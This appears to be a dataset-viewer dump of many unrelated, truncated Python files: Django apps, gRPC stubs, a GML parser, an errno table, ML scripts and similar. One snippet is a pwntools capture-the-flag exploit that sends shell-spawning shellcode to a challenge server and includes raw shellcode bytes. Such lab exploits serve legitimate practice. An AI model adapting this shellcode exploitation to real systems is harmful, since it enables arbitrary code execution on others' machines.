content stringlengths 0 1.05M | origin stringclasses 2
values | type stringclasses 2
values |
|---|---|---|
#! /usr/bin/env python3
from sys import argv
errno = {
'0': 'Success',
'1': 'TooBig',
'2': 'Acces',
'3': 'Addrinuse',
'4': 'Addrnotavail',
'5': 'Afnosupport',
'6': 'Again',
'7': 'Already',
'8': 'Badf',
'9': 'Badmsg',
'10': 'Busy',
'11': 'Canceled',
'12': 'Child',
... | nilq/baby-python | python |
"""
Read graphs in GML format.
"GML, the G>raph Modelling Language, is our proposal for a portable
file format for graphs. GML's key features are portability, simple
syntax, extensibility and flexibility. A GML file consists of a
hierarchical key-value lists. Graphs can be annotated with arbitrary
data structures. The... | nilq/baby-python | python |
# py2.7 and py3 compatibility imports
from __future__ import absolute_import
from __future__ import unicode_literals
from django.conf.urls import url, include
from rest_framework import routers
from . import views
router = routers.DefaultRouter()
router.register(r'shadowsocks/config', views.ConfigViewSet)
router.re... | nilq/baby-python | python |
'''
Working with files in Python
'''
# reading and writing files
path_to_file = '00 - Very Basics/text_files/'
file_name1 = input('What is the file name you want to write to? ')
try:
file1 = open('{}/{}.txt'.format(path_to_file, file_name1), 'w')
file1.write('''
You don't know how to be a man
I open ... | nilq/baby-python | python |
from django.contrib.auth import get_user_model
from django.db import models, transaction
from django.utils import timezone
from django.utils.translation import ugettext_lazy as _
from libs.models import BaseModel
User = get_user_model()
class State(BaseModel):
name = models.CharField(verbose_name=_('name'), max... | nilq/baby-python | python |
from .contract import Contract # noqa
from .template import Template, TemplateError # noqa
from .asyncio.contract import AsyncContract # noqa
from .asyncio.template import AsyncTemplate # noqa
__all__ = (
"Contract",
"Template",
"TemplateError",
"AsyncContract",
"AsyncTemplate"
)
__version__... | nilq/baby-python | python |
# Generated by Django 2.2.9 on 2020-02-12 10:06
from django.db import migrations, models
import django.db.models.deletion
class Migration(migrations.Migration):
dependencies = [
('events', '0075_change_place_srid'),
]
operations = [
migrations.AlterField(
model_name='image',... | nilq/baby-python | python |
import memcache
import simplejson
class SimplejsonWrapper(object):
def __init__(self, file, protocol=None):
self.file = file
def dump(self, value)
simplejson.dump(value, self.file)
def load(self):
return simplejson.load(self.file)
cache = memcache.Client(['127.0.0.1:11211'], ... | nilq/baby-python | python |
from pwn import *
context.binary = elf = ELF("shellcoded")
r = remote("challenge.ctf.games", 32175)
# shellcode from pwn library
shellcode = list(asm(shellcraft.sh()))
# manually find shellcode online
#shellcode = list(b'\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb... | nilq/baby-python | python |
from kNUI.main import run
| nilq/baby-python | python |
token = "your new token here" | nilq/baby-python | python |
from django import forms
from django.contrib.auth import authenticate
from django.contrib.auth.forms import PasswordResetForm, SetPasswordForm
from django.core.validators import MinLengthValidator
from django.db.models import Q
from django.contrib.auth.models import User
from social_django.views import complete
from a... | nilq/baby-python | python |
import unittest
from mock import patch, MagicMock
from rawes.elastic import Elastic
from requests.models import Response
from rawes.http_connection import HttpConnection
class TestConnectionPooling(unittest.TestCase):
"""Connection pooling was added on top of Rawes, it wasn't designed from
the beggingin. We ... | nilq/baby-python | python |
import os.path
__all__ = [
"__name__", "__summary__", "__url__", "__version__",
"__author__", "__email__", "__license__"
]
try:
base_dir = os.path.dirname(os.path.abspath(__file__))
except NameError:
base_dir = None
__title__ = "makebib"
__summary__ = "A simple script to generate a local bib file... | nilq/baby-python | python |
import json
import os
import sys
import logging
import traceback
import re
import boto3
import time
# helper functions
from queue_wrapper import *
from message_wrapper import *
# packages for listing to ebay
from ebaysdk.trading import Connection
# packages for the item info formatter
from bs4 import BeautifulSoup
fr... | nilq/baby-python | python |
# -*- coding: utf-8 -*-
"""
Created on Fri Jul 26 15:47:35 2019
@author: Dominic
"""
import numpy as np
def generate_points_on_hypercube(nsamples,origin,poffs,p=None,uvecs=None):
if uvecs is None:
epsilon = []
bounds = []
for i in range(len(origin)):
... | nilq/baby-python | python |
from bot import merger_bot
WEBHOOK_HOST = merger_bot.webhook_host
WEBHOOK_PORT = merger_bot.webhook_port
WEBHOOK_SSL_CERT = './SSL/webhook_cert.pem' # Путь к сертификату
WEBHOOK_SSL_PRIV = './SSL/webhook_pkey.pem' # Путь к приватному ключу
WEBHOOK_URL_BASE = "https://%s:%s" % (WEBHOOK_HOST, WEBHOOK_PORT)
WEBHOOK_U... | nilq/baby-python | python |
from mnist import MNIST
import sklearn.metrics as metrics
import numpy as np
NUM_CLASSES = 10
def load_dataset():
mndata = MNIST('./data/')
X_train, labels_train = map(np.array, mndata.load_training())
X_test, labels_test = map(np.array, mndata.load_testing())
X_train = X_train/255.0
X_test = X_te... | nilq/baby-python | python |
import djclick as click
from core.utils import get_approximate_date
def gather_event_date_from_prompt():
date = None
while date is None:
date_str = click.prompt(
click.style(
"What is the date of the event? (Format: DD/MM/YYYY or MM/YYYY)",
bold=True, fg='y... | nilq/baby-python | python |
# -*- coding: utf-8 -*-
from __future__ import absolute_import
from quixote.errors import TraversalError
from vilya.views.util import jsonize, http_method
from vilya.models.linecomment import PullLineComment
from vilya.models.project import CodeDoubanProject
from vilya.libs.template import st
_q_exports = []
class... | nilq/baby-python | python |
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from std_msgs.msg import Float32, UInt8
from sensor_msgs.msg import Image, CompressedImage
import enum
import time
import rospy
from cv_bridge import CvBridge
class ControlNode:
def __init__(self):
self.traffic_mission_start = False
self.parking_missio... | nilq/baby-python | python |
# -*- coding: utf-8 -*-
from qiniu import config
from qiniu.utils import urlsafe_base64_encode, entry
from qiniu import http
class BucketManager(object):
"""空间管理类
主要涉及了空间资源管理及批量操作接口的实现,具体的接口规格可以参考:
http://developer.qiniu.com/docs/v6/api/reference/rs/
Attributes:
auth: 账号管理密钥对,Auth对象
"""... | nilq/baby-python | python |
import numpy as np
import pickle
from time import sleep
import cloudpickle
from redis import StrictRedis
from ...sampler import Sampler
from .cmd import (SSA, N_EVAL, N_ACC, N_REQ, ALL_ACCEPTED,
N_WORKER, QUEUE, MSG, START,
SLEEP_TIME, BATCH_SIZE)
from .redis_logging import logger
... | nilq/baby-python | python |
# -*- coding: utf-8 -*-
import falcon.asgi
import log
from app.api.common import base
from app.api.v1.auth import login
from app.api.v1.member import member
from app.api.v1.menu import menu
from app.api.v1.statistics import image
from app.api.v1.twitter import tweet
from app.api.v1.user import users
from app.database... | nilq/baby-python | python |
# Generated by the gRPC Python protocol compiler plugin. DO NOT EDIT!
import grpc
from . import ParameterConstraintProvider_pb2 as ParameterConstraintProvider__pb2
class ParameterConstraintsProviderStub(object):
"""Feature: Parameter Constraint Provider
Allows a server to apply constraints on specific command p... | nilq/baby-python | python |
# -*- coding: utf-8 -*-
from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
import csv
import numpy as np
import os
import sys
from observations.util import maybe_download_and_extract
def tobacco(path):
"""Households Tobacco Budget Share
a cross-section ... | nilq/baby-python | python |
from .wheel import Wheel
from .tree import SyncTree
| nilq/baby-python | python |
from .exceptions import ApigeeError | nilq/baby-python | python |
"""Const for Velbus."""
DOMAIN = "velbus"
CONF_MEMO_TEXT = "memo_text"
SERVICE_SET_MEMO_TEXT = "set_memo_text"
| nilq/baby-python | python |
# -*- coding: utf-8 -*-
from typing import List, NoReturn, Optional
from .signal import Signal
from .light import Light
from .tv import TV
class Appliance:
def __str__(self):
return f"{self.__class__.__name__}: {self.nickname}"
def __init__(self, data: dict) -> NoReturn:
self._set_member(d... | nilq/baby-python | python |
"""
COCO provides a simple way to use the coco data set thru a standardized interface. Implementing this
module can reduce complexity in the code for gathering and preparing "Coco data set" data. Besides that does the module
provide a standardized and simple interface which could be used with any data set containing... | nilq/baby-python | python |
import os
all = [i[:-3] for i in os.listdir(os.path.dirname(__file__)) if i.endswith(".py") and not i.startswith(".")]
| nilq/baby-python | python |
import sys
from datetime import datetime
from datapipe.configuracoes import Configuracoes
from datapipe.converters.tabela_hadoop import TabelaHadoop
from datapipe.datasources.db2 import Db2
from datapipe.utils.constantes import YAML_CONTINUA_ERRO
from datapipe.utils.log import Log, Niveis
class TabelaControleExcept... | nilq/baby-python | python |
import inspect
from enum import Enum
from typing import Callable, cast, TypeVar
from .._internal.default_container import get_default_container
from ..core import DependencyContainer
from ..providers import IndirectProvider
T = TypeVar('T', bound=type)
def implements(interface: type,
*,
... | nilq/baby-python | python |
# Exercícios Numpy-32
# *******************
import numpy as np
print(np.sqrt(16))
print(np.emath.sqrt(-16))#números complexos | nilq/baby-python | python |
# SPDX-License-Identifier: Apache-2.0
"""
Python Package for controlling Tesla API.
For more details about this api, please refer to the documentation at
https://github.com/zabuldon/teslajsonpy
"""
import time
from typing import Text
from teslajsonpy.vehicle import VehicleDevice
class Climate(VehicleDevice):
"... | nilq/baby-python | python |
# -*- coding: utf-8 -*-
class NoiseUtils:
def __init__(self, imageLen,imageWid):
self.imageLen=imageLen
self.imageWid=imageWid
self.gradientNumber = 256
self.grid = [[]]
self.gradients = []
self.permutations = []
self.img = {}
self.__generateGrad... | nilq/baby-python | python |
VERSION = '0.1.7'
| nilq/baby-python | python |
# -*- coding: utf-8 -*-
from __future__ import print_function
from io import StringIO
from dktemplate.parse import nest
from dktemplate.tokenize import tokenize
class Render(object):
def __init__(self, content):
self.content = content
self.out = StringIO()
self.curlevel = 0
def value(... | nilq/baby-python | python |
def findDuplicate(string):
list =[]
for i in string:
if i not in list and string.count(i) > 1:
list.append(i)
return list
n=input('Enter String : ')
print('Duplicate characters :',findDuplicate(n))
| nilq/baby-python | python |
# Copyright 2020 Tyler Calder
import collections
import contextlib
import io
import unittest.mock
import os
import subprocess
import sys
import pytest
from pytest_mock import mocker
sys.path.insert(0, os.path.abspath(os.path.join(os.path.dirname(__file__), "..")))
import _realreq.realreq as realreq
CONTENT = """
i... | nilq/baby-python | python |
#!/usr/bin/env python
# -*- coding:UTF-8 -*-
'''
@Description: 工具
@Author: Zpp
@Date: 2019-10-28 11:28:09
LastEditors: Zpp
LastEditTime: 2020-11-24 16:27:50
'''
import platform
def IsWindows():
return True if platform.system() == 'Windows' else False
def ReadFile(path, type='r'):
try:
f = open(path,... | nilq/baby-python | python |
# -*- coding: utf-8 -*-
import pytest
import time
import zwutils.dlso as dlso
# pylint: disable=no-member
def test_dict2obj():
r = dlso.dict2obj({
'ks': 'v1',
'kn': 2,
'ka': [1, '2'],
'kd': {'1':1, '2':2},
'knone': None
})
r2 = dlso.dict2obj(None)
assert r.ks ==... | nilq/baby-python | python |
# Generated by the gRPC Python protocol compiler plugin. DO NOT EDIT!
import grpc
import environment.grpc.jobshop_pb2 as jobshop__pb2
class EnvironmentStub(object):
"""Missing associated documentation comment in .proto file"""
def __init__(self, channel):
"""Constructor.
Args:
c... | nilq/baby-python | python |
import os
class Config:
"""
Parent configuration class.
"""
DEBUG = False
TESTING = False
CSRF_ENABLED = True
SECRET = os.getenv('SECRET')
TITLE = "Test API"
VERSION = "1.0"
DESCRIPTION = "Demo API."
| nilq/baby-python | python |
# coding=utf-8
from app.api.base.base_router import BaseRouter
from app.config.config import HEADER
from app.api.src.geo.provider import Provider
class GeoTypesRoute(BaseRouter):
def __init__(self):
super().__init__()
def get(self):
answer = Provider().get_types()
return answer, HEADE... | nilq/baby-python | python |
from django.contrib.messages.views import SuccessMessageMixin
from django.contrib import messages
from django.http import HttpResponseRedirect
from django.views.generic import ListView, DetailView
from django.views.generic.edit import UpdateView, DeleteView, CreateView
from django.urls import reverse_lazy
from .forms i... | nilq/baby-python | python |
nome = str(input("Qual é seu nome")).lower().strip()
if nome == "gustavo":
print("Que nome bonito")
elif nome == "pedro" or nome == "maria" or nome == "joão":
print ("O seu nome é bem popular")
elif nome == "ana katarina":
print ("que nome feio")
else:
print("Seu nome é bem chato")
| nilq/baby-python | python |
from .jsonexporter import JSONExporter
from .ymlexporter import YMLExporter | nilq/baby-python | python |
from __future__ import absolute_import, division, print_function, unicode_literals
import math
import random
import time
from echomesh.sound import Level
from echomesh.util.registry.Registry import Registry
class _SystemFunction(object):
def __init__(self, function, is_constant):
self.function = function
s... | nilq/baby-python | python |
print('=====QUANTO DE TINTA?=====')
alt = float(input('Qual a altura da parede?'))
lar = float(input('Qual a largura da parede?'))
area = alt*lar
print('A área da parede é de {:.2f}m²!'.format(area))
print('Serão necessários {} litros de tinta para pintar a parede'.format(area/2)) | nilq/baby-python | python |
#########################################################################
# #
# C R A N F I E L D U N I V E R S I T Y #
# 2 0 1 9 / 2 0 2 0 #
# ... | nilq/baby-python | python |
# https://leetcode.com/problems/pascals-triangle/
class Solution(object):
def generate(self, numRows):
"""
:type numRows: int
:rtype: List[List[int]]
"""
if numRows == 0:
return []
if numRows == 1:
return [[1]]
if numRows == 2:
... | nilq/baby-python | python |
from .c2_server import C2Server
from .malware import Malware
from .actor import Actor
from .family import Family
| nilq/baby-python | python |
import numpy as np
from IPython.display import clear_output
import itertools as it
import pylabnet.hardware.spectrum_analyzer.agilent_e4405B as sa_hardware
import time
import pandas as pd
import seaborn as sns
import matplotlib
import matplotlib.pyplot as plt
from IPython.display import clear_output, display
class O... | nilq/baby-python | python |
import unittest
from runner.robot.zipper import zip_robot
class RobotChanges(unittest.TestCase):
def test_set_new_robot_position(self):
robot1 = {
'part': {
'connects_to': [
{
'part': {
}
... | nilq/baby-python | python |
items = [
("Mosh", 100),
("Brad", 90),
("Ahmed", 10),
]
ratings = [items[1] for items in items] # Map Alternative
ratings = [items[1] for items in items if items[1] >= 20] # Filter Alternative
print(ratings)
| nilq/baby-python | python |
import sys
import chessai
def main():
# parse script args
startup_config = sys.argv[1] if len(sys.argv) >= 2 else 'all'
# launch the training according to the specified startup config
if startup_config == 'pretrain_fx': launch_pretrain_fx()
if startup_config == 'pretrain_ratings': launch_pretra... | nilq/baby-python | python |
#!/usr/bin/env python2
# -*- coding: utf-8 -*-
"""
Created on Sat Nov 26 20:48:30 2016
Convert Instagram handles to numeric IDs, which are needed as inputs
for API queries.
Sample output
ERROR: "not-a-handle" is not available
IG user data
------------
Platform: Instagram
Followers: 394
Ha... | nilq/baby-python | python |
# Generated by Django 2.2.1 on 2020-09-20 01:31
from django.db import migrations
class Migration(migrations.Migration):
dependencies = [
('chapters', '0013_auto_20200920_0042'),
]
operations = [
migrations.RemoveField(
model_name='orderablecontent',
name='content... | nilq/baby-python | python |
#
# (C) Copyright 2011 Jacek Konieczny <jajcus@jajcus.net>
#
# This program is free software; you can redistribute it and/or modify
# it under the terms of the GNU Lesser General Public License Version
# 2.1 as published by the Free Software Foundation.
#
# This program is distributed in the hope that it will be useful... | nilq/baby-python | python |
# encoding: utf-8
"""
@version: v1.0
@author: Richard
@license: Apache Licence
@contact: billions.richard@qq.com
@site:
@software: PyCharm
@time: 2019/11/30 20:03
""" | nilq/baby-python | python |
from __future__ import unicode_literals
import os
import re
import tempfile
from io import open
import debug_backend
import ttfw_idf
@ttfw_idf.idf_example_test(env_tag='test_jtag_arm')
def test_examples_sysview_tracing_heap_log(env, extra_data):
rel_project_path = os.path.join('examples', 'system', 'sysview_tr... | nilq/baby-python | python |
from tkinter import *
from tkinter.messagebox import showinfo,askyesnocancel
from tkinter.filedialog import askopenfilename,asksaveasfilename
import os
from tkinter import simpledialog
def new(event=None): #.................Creates new file and saves current flle...........#
global file
var=askyesnocan... | nilq/baby-python | python |
#!/usr/bin/env python
# -*- encoding: utf-8 -*-
"""
Topic: 读写文本文件
Desc :
"""
def rw_text():
# Iterate over the lines of the file
with open('somefile.txt', 'rt') as f:
for line in f:
# process line
print(line)
# Write chunks of text data
with open('somefile.txt', 'wt') ... | nilq/baby-python | python |
#!/usr/bin/env python
# -*- coding: utf-8 -*- #
from __future__ import unicode_literals
AUTHOR = u'Eevee'
SITENAME = u'fuzzy notepad'
SITEURL = ''
#SITESUBTITLE = ...
TIMEZONE = 'America/Los_Angeles'
DEFAULT_LANG = u'en'
# Feed generation is usually not desired when developing
FEED_ATOM = None
FEED_ALL_ATOM = None
... | nilq/baby-python | python |
"""
Commands for fun
"""
from discord.ext import commands
class FunCommands(commands.Cog, name='Fun'):
def __init__(self, bot):
print('Loading FunCommands module...', end='')
self.bot = bot
print(' Done')
@commands.command(help='You spin me right round, baby, right round')
async ... | nilq/baby-python | python |
from logging.handlers import DatagramHandler, SocketHandler
from logstash import formatter
# Derive from object to force a new-style class and thus allow super() to work
# on Python 2.6
class TCPLogstashHandler(SocketHandler, object):
"""Python logging handler for Logstash. Sends events over TCP.
:param host:... | nilq/baby-python | python |
"""
Get Shelly Cloud information for a given host through web api.
For more details about this platform, please refer to the documentation at
https://github.com/marcogazzola/custom_components/blob/master/README.md
"""
import logging
from homeassistant.helpers.entity import (Entity)
from .const import (
REQUIREMEN... | nilq/baby-python | python |
from socket import *
from select import *
HOST = ''
PORT = 10001
BUFSIZE = 1024
ADDR = (HOST, PORT)
#소켓 생성
serverSocket = socket(AF_INET, SOCK_STREAM)
#소켓 주소
serverSocket.bind(ADDR)
#연결 수신
serverSocket.listen(1)
#연결 수락
clientSocekt, addr_info = serverSocket.accept()
print(clientSocekt)
while True:
data = clie... | nilq/baby-python | python |
# -*- coding: utf-8 -*-
"""
Name: population.py
Authors: Christian Haack, Stephan Meighen-Berger, Andrea Turcati
Constructs the population.
"""
from typing import Union, Tuple
import random
import numpy as np # type: ignore
import logging
import networkx as nx # type: ignore
import scipy.stats
from networkx.utils im... | nilq/baby-python | python |
import numpy as np
import matplotlib.pyplot as plt
import pandas as pd
from tensorflow.keras import Sequential
from tensorflow.keras.layers import Dense, LSTM, Dropout
from sklearn.preprocessing import MinMaxScaler
dataset = pd.read_csv('../Dataset/GPS Database Cleaned Data-One Day.csv', parse_dates=True, index_col='d... | nilq/baby-python | python |
import torch.nn as nn
from MyPyTorchAPI.CustomActivation import *
class FCCov(torch.nn.Module):
def __init__(self, fc_input_size):
super().__init__()
self.fc = nn.Sequential(
nn.Linear(fc_input_size, 512),
nn.BatchNorm1d(512),
... | nilq/baby-python | python |
#!/usr/bin/env python
import matplotlib.pyplot as plt
import os
import imageio
import numpy as np
import cv2
from tqdm import tqdm_notebook as tqdm
import scipy.misc
from generator import read_videofile_txt
import os
import shutil
from generator import build_label2str
from predict_and_save_kitty import extract_bbox_f... | nilq/baby-python | python |
# Copyright 2016 The Chromium Authors. All rights reserved.
# Use of this source code is governed by a BSD-style license that can be
# found in the LICENSE file.
"""API for interacting with the buildbucket service directly.
Instead of triggering jobs by emitting annotations then handled by the master,
this module all... | nilq/baby-python | python |
from parsers import golden_horse_parser
parser = golden_horse_parser()
args = parser.parse_args()
REDUNDANT_INFO_LINE_NUM = 4
TRAILING_USELESS_INFO_LINE_NUM = -1
def clean_line(string, remove_trainling_position=-2):
return string.replace('\t', '').split(',')[:remove_trainling_position]
def main():
with op... | nilq/baby-python | python |
from setuptools import setup
setup(name='money',
version='0.1',
description='Implementation of Fowler\s Money',
url='https://github.com/luka-mladenovic/fowlers-money',
author='Luka Mladenovic',
author_email='',
license='MIT',
packages=['money'],
install_requires=[
... | nilq/baby-python | python |
from . import sequence
from . import sampler as sampler_trw
import numpy as np
import collections
import copy
from ..utils import get_batch_n, len_batch
# this the name used for the sample UID
sample_uid_name = 'sample_uid'
class SequenceArray(sequence.Sequence):
"""
Create a sequence of batches from numpy a... | nilq/baby-python | python |
from cli import *
#
# VTOC layout: (with unimportant fields removed)
#
# OFFSET SIZE NUM NAME
# 0 128 1 label
VTOC_VERSION = 128 # 128 4 1 version
# 132 8 1 volume name
VTOC_NUMPART = 140 # 140 2 ... | nilq/baby-python | python |
import os
from pathlib import Path
from setuptools import find_packages, setup
def parse_req_file(fname, initial=None):
"""Reads requires.txt file generated by setuptools and outputs a
new/updated dict of extras as keys and corresponding lists of dependencies
as values.
The input file's contents are... | nilq/baby-python | python |
import sys
from PyQt5 import QtWidgets
from gui import MainWindow
"""
Guitario, simple chord recognizer
All created MP4 files are stored in saved_accords directory
"""
if __name__ == '__main__':
print("Loading application!")
app = QtWidgets.QApplication(sys.argv)
app.setApplicationName("Guitario")
app... | nilq/baby-python | python |
from abc import ABC, abstractmethod
class MyAbstract(ABC):
def __init__(self):
pass
@abstractmethod
def doSomething(self):
pass
class MyClass1(MyAbstract):
def __init__(self):
pass
def doSomething(self):
print("abstract method")
... | nilq/baby-python | python |
"""
Overrides the align-items value for specific flex items.
"""
from ..defaults import BREAKPOINTS, UP, DOWN, FULL, ONLY
from ...core import CssModule
vals = [
('fs', 'flex-start'),
('fe', 'flex-end'),
('c', 'center'),
('b', 'baseline'),
('s', 'stretch')
]
mdl = CssModule(
'Align self',
... | nilq/baby-python | python |
#!/usr/bin/env python3
import sys
try:
import psycopg2
postgres = True
except:
import sqlite3
postgres = False
if __name__ == "__main__":
if len(sys.argv) != 2:
print("You must supply the database name as the first argument")
sys.exit()
if postgres:
conn = psycopg2.conn... | nilq/baby-python | python |
class Cache(object):
def __init__(self, j):
self.raw = j
if "beforeRequest" in self.raw:
self.before_request = CacheRequest(self.raw["beforeRequest"])
else:
self.before_request = None
if "afterRequest" in self.raw:
self.after_request = CacheReque... | nilq/baby-python | python |
from OpenGL.GL import *
from OpenGL.GL.ARB import *
from OpenGL.GLU import *
from OpenGL.GLUT import *
from OpenGL.GLUT.special import *
from OpenGL.GL.shaders import *
frame_count = 0
def pre_frame():
pass
def post_fram():
frame_count += 1
def disable_vsyc():
import glfw
glfw... | nilq/baby-python | python |
# Create your tasks here
from __future__ import absolute_import, unicode_literals
from celery import shared_task
"""
@shared_task
def hello():
print("It's a beautiful day in the neighborhood")
"""
| nilq/baby-python | python |
# -*- coding: utf-8 -*-
import logging
import lecoresdk
def handler(event, context):
it = lecoresdk.IoTData()
set_params = {"productKey": "YourProductKey",
"deviceName": "YourDeviceName",
"payload": {"LightSwitch":0}}
res = it.setThingProperties(set_params)
print(res)
get_pa... | nilq/baby-python | python |
from pathlib import Path
from cgr_gwas_qc.exceptions import GtcMagicNumberError, GtcTruncatedFileError, GtcVersionError
from cgr_gwas_qc.parsers.illumina import GenotypeCalls
def validate(file_name: Path):
try:
# Illumina's parser has a bunch of different error checks, so I am just
# using those ... | nilq/baby-python | python |
from selenium import webdriver
#import time
#import unittest
browser = webdriver.Chrome()
browser.get('http://localhost:8000')
#unittest.TestCase.assertTrue(browser.get('http://localhost:8000'),msg='OK!')
assert 'The install worked successfully!' in browser.title
print('pass!')
browser.quit() | nilq/baby-python | python |
# Django imports
from django.shortcuts import render
from django.core.urlresolvers import reverse_lazy
from django.views import generic as django_generic
from django.http import HttpResponse
from django.contrib import messages
# 3rd Party Package imports
from braces.views import LoginRequiredMixin
#Lackawanna Specifi... | nilq/baby-python | python |
from __future__ import absolute_import, division, print_function
from .version import __version__
import __main__
try:
import etelemetry
etelemetry.check_available_version("incf-nidash/pynidm", __version__)
except ImportError:
pass
| nilq/baby-python | python |
import sys
import os
sys.path.append(os.path.join(os.getcwd(), 'deep_api'))
from deep_app import create_app
application = create_app()
if __name__ == '__main__':
application.run()
| nilq/baby-python | python |
"""
切片:定位多个元素
for number in range(开始,结束,间隔)
"""
message = "我是花果山水帘洞美猴王孙悟空"
# 写法1:容器名[开始: 结束: 间隔]
# 注意:不包含结束
print(message[2: 5: 1])
# 写法2:容器名[开始: 结束]
# 注意:间隔默认为1
print(message[2: 5])
# 写法3:容器名[:结束]
# 注意:开始默认为头
print(message[:5])
# 写法4:容器名[:]
# 注意:结束默认为尾
print(message[:])
message = "我是花果山水帘洞美猴王孙悟空"
# 水帘洞... | nilq/baby-python | python |
from flask import request, make_response
import json
from themint import app
from themint.service import message_service
from datatypes.exceptions import DataDoesNotMatchSchemaException
@app.route('/', methods=['GET'])
def index():
return "Mint OK"
# TODO remove <title_number> below, as it is not used.
@app.ro... | nilq/baby-python | python |
import json
import os
os.environ['GIT_PYTHON_REFRESH'] = 'quiet'
from configparser import ConfigParser
import lstm_model as lm
from itertools import product
from datetime import datetime
import data_preprocess as dp
from sacred import Experiment
from sacred.observers import MongoObserver
ex = Experiment()
ex.observer... | nilq/baby-python | python |
from PIL import Image
import os
from os.path import join
import scipy.io as sio
import matplotlib.pyplot as plt
import numpy as np
from scipy import ndimage
from Network import Network
from utils import plot_images , sigmoid , dsigmoid_to_dval , make_results_reproducible , make_results_random
make_results_reproducibl... | nilq/baby-python | python |
import json
import re
import os
import pytest
import requests
import pytz
import datetime as dt
import connaisseur.trust_data
import connaisseur.notary_api as notary_api
from connaisseur.image import Image
from connaisseur.tuf_role import TUFRole
from connaisseur.exceptions import BaseConnaisseurException
@pytest.fix... | nilq/baby-python | python |
def identidade(n):
I = [[0 for x in range(n)] for y in range(n)]
for i in range(0,n):
I[i][i] = 1
return I
def transposta(mA): #transposta
n = len(mA)
mT = identidade(n)
for i in range(n):
for j in range(n):
mT[i][j] = mA[j][i]
print("Matriz Transposta : ")
... | nilq/baby-python | python |
# Copyright 2019 The FastEstimator Authors. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by appl... | nilq/baby-python | python |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.